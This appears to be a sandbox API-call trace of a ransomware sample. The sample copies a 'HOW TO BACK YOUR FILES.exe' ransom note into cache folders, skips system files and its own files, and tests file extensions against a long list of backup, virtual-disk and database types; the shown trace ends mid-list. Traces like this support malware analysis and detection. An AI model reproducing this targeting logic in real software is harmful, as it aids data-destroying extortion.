	[0064.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.581] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.581] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.581] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.582] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.582] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.582] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.582] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.582] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.582] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f449930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.582] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="windows") returned -1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="bootmgr") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="temp") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="pagefile.sys") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="boot") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ids.txt") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ntuser.dat") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="perflogs") returned 1
	[0064.582] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="MSBuild") returned 1
	[0064.582] lstrlenW (lpString="vcRuntimeMinimum_amd64") returned 22
	[0064.582] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned 93
	[0064.582] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0064.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0064.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe6) returned 0x59a0c0
	[0064.582] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0064.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0064.583] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.583] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0064.583] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0064.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0c0 | out: hHeap=0x580000) returned 1
	[0064.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0064.583] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned 114
	[0064.583] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0064.583] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.583] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.583] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.583] GetLastError () returned 0x0
	[0064.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.583] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.584] CloseHandle (hObject=0x15c) returned 1
	[0064.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.584] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.584] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.584] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.584] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.584] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.584] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.584] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.584] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.584] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.584] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0064.584] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0064.585] lstrlenW (lpString="cab1.cab") returned 8
	[0064.585] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned 116
	[0064.585] lstrcpyW (in: lpString1=0x119e6ee, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0064.585] lstrlenW (lpString="cab1.cab") returned 8
	[0064.585] lstrlenW (lpString="Apollon865") returned 10
	[0064.585] lstrlenW (lpString=".dll") returned 4
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0064.585] lstrlenW (lpString=".lnk") returned 4
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0064.585] lstrlenW (lpString=".ini") returned 4
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0064.585] lstrlenW (lpString=".sys") returned 4
	[0064.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0064.585] lstrlenW (lpString="cab1.cab") returned 8
	[0064.585] lstrlenW (lpString="bak") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0064.585] lstrlenW (lpString="ba_") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0064.585] lstrlenW (lpString="dbb") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0064.585] lstrlenW (lpString="vmdk") returned 4
	[0064.585] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0064.585] lstrlenW (lpString="rar") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0064.585] lstrlenW (lpString="zip") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0064.585] lstrlenW (lpString="tgz") returned 3
	[0064.585] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0064.586] lstrlenW (lpString="vbox") returned 4
	[0064.586] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0064.586] lstrlenW (lpString="vdi") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0064.586] lstrlenW (lpString="vhd") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0064.586] lstrlenW (lpString="vhdx") returned 4
	[0064.586] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0064.586] lstrlenW (lpString="avhd") returned 4
	[0064.586] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0064.586] lstrlenW (lpString="db") returned 2
	[0064.586] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0064.586] lstrlenW (lpString="db2") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0064.586] lstrlenW (lpString="db3") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0064.586] lstrlenW (lpString="dbf") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0064.586] lstrlenW (lpString="mdf") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0064.586] lstrlenW (lpString="mdb") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0064.586] lstrlenW (lpString="sql") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0064.586] lstrlenW (lpString="sqlite") returned 6
	[0064.586] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0064.586] lstrlenW (lpString="sqlite3") returned 7
	[0064.586] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0064.586] lstrlenW (lpString="sqlitedb") returned 8
	[0064.586] lstrlenW (lpString="xml") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0064.586] lstrlenW (lpString="$er") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0064.586] lstrlenW (lpString="4dd") returned 3
	[0064.586] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0064.587] lstrlenW (lpString="4dl") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0064.587] lstrlenW (lpString="^^^") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0064.587] lstrlenW (lpString="abs") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0064.587] lstrlenW (lpString="abx") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0064.587] lstrlenW (lpString="accdb") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0064.587] lstrlenW (lpString="accdc") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0064.587] lstrlenW (lpString="accde") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0064.587] lstrlenW (lpString="accdr") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0064.587] lstrlenW (lpString="accdt") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0064.587] lstrlenW (lpString="accdw") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0064.587] lstrlenW (lpString="accft") returned 5
	[0064.587] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0064.587] lstrlenW (lpString="adb") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.587] lstrlenW (lpString="adb") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.587] lstrlenW (lpString="ade") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0064.587] lstrlenW (lpString="adf") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0064.587] lstrlenW (lpString="adn") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0064.587] lstrlenW (lpString="adp") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0064.587] lstrlenW (lpString="alf") returned 3
	[0064.587] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0064.588] lstrlenW (lpString="ask") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0064.588] lstrlenW (lpString="btr") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0064.588] lstrlenW (lpString="cat") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0064.588] lstrlenW (lpString="cdb") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0064.588] lstrlenW (lpString="ckp") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0064.588] lstrlenW (lpString="cma") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0064.588] lstrlenW (lpString="cpd") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0064.588] lstrlenW (lpString="dacpac") returned 6
	[0064.588] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0064.588] lstrlenW (lpString="dad") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0064.588] lstrlenW (lpString="dadiagrams") returned 10
	[0064.588] lstrlenW (lpString="daschema") returned 8
	[0064.588] lstrlenW (lpString="db-journal") returned 10
	[0064.588] lstrlenW (lpString="db-shm") returned 6
	[0064.588] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0064.588] lstrlenW (lpString="db-wal") returned 6
	[0064.588] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0064.588] lstrlenW (lpString="dbc") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0064.588] lstrlenW (lpString="dbs") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0064.588] lstrlenW (lpString="dbt") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0064.588] lstrlenW (lpString="dbv") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0064.588] lstrlenW (lpString="dbx") returned 3
	[0064.588] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0064.589] lstrlenW (lpString="dcb") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0064.589] lstrlenW (lpString="dct") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0064.589] lstrlenW (lpString="dcx") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0064.589] lstrlenW (lpString="ddl") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0064.589] lstrlenW (lpString="dlis") returned 4
	[0064.589] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0064.589] lstrlenW (lpString="dp1") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0064.589] lstrlenW (lpString="dqy") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0064.589] lstrlenW (lpString="dsk") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0064.589] lstrlenW (lpString="dsn") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0064.589] lstrlenW (lpString="dtsx") returned 4
	[0064.589] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0064.589] lstrlenW (lpString="dxl") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0064.589] lstrlenW (lpString="eco") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0064.589] lstrlenW (lpString="ecx") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0064.589] lstrlenW (lpString="edb") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0064.589] lstrlenW (lpString="epim") returned 4
	[0064.589] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0064.589] lstrlenW (lpString="fcd") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0064.589] lstrlenW (lpString="fdb") returned 3
	[0064.589] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0064.590] lstrlenW (lpString="fic") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0064.590] lstrlenW (lpString="flexolibrary") returned 12
	[0064.590] lstrlenW (lpString="fm5") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0064.590] lstrlenW (lpString="fmp") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0064.590] lstrlenW (lpString="fmp12") returned 5
	[0064.590] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0064.590] lstrlenW (lpString="fmpsl") returned 5
	[0064.590] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0064.590] lstrlenW (lpString="fol") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0064.590] lstrlenW (lpString="fp3") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0064.590] lstrlenW (lpString="fp4") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0064.590] lstrlenW (lpString="fp5") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0064.590] lstrlenW (lpString="fp7") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0064.590] lstrlenW (lpString="fpt") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0064.590] lstrlenW (lpString="frm") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0064.590] lstrlenW (lpString="gdb") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.590] lstrlenW (lpString="gdb") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.590] lstrlenW (lpString="grdb") returned 4
	[0064.590] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0064.590] lstrlenW (lpString="gwi") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0064.590] lstrlenW (lpString="hdb") returned 3
	[0064.590] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0064.591] lstrlenW (lpString="his") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0064.591] lstrlenW (lpString="ib") returned 2
	[0064.591] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0064.591] lstrlenW (lpString="idb") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0064.591] lstrlenW (lpString="ihx") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0064.591] lstrlenW (lpString="itdb") returned 4
	[0064.591] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0064.591] lstrlenW (lpString="itw") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0064.591] lstrlenW (lpString="jet") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0064.591] lstrlenW (lpString="jtx") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0064.591] lstrlenW (lpString="kdb") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0064.591] lstrlenW (lpString="kexi") returned 4
	[0064.591] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0064.591] lstrlenW (lpString="kexic") returned 5
	[0064.591] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0064.591] lstrlenW (lpString="kexis") returned 5
	[0064.591] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0064.591] lstrlenW (lpString="lgc") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0064.591] lstrlenW (lpString="lwx") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0064.591] lstrlenW (lpString="maf") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0064.591] lstrlenW (lpString="maq") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0064.591] lstrlenW (lpString="mar") returned 3
	[0064.591] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0064.591] lstrlenW (lpString="marshal") returned 7
	[0064.591] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0064.592] lstrlenW (lpString="mas") returned 3
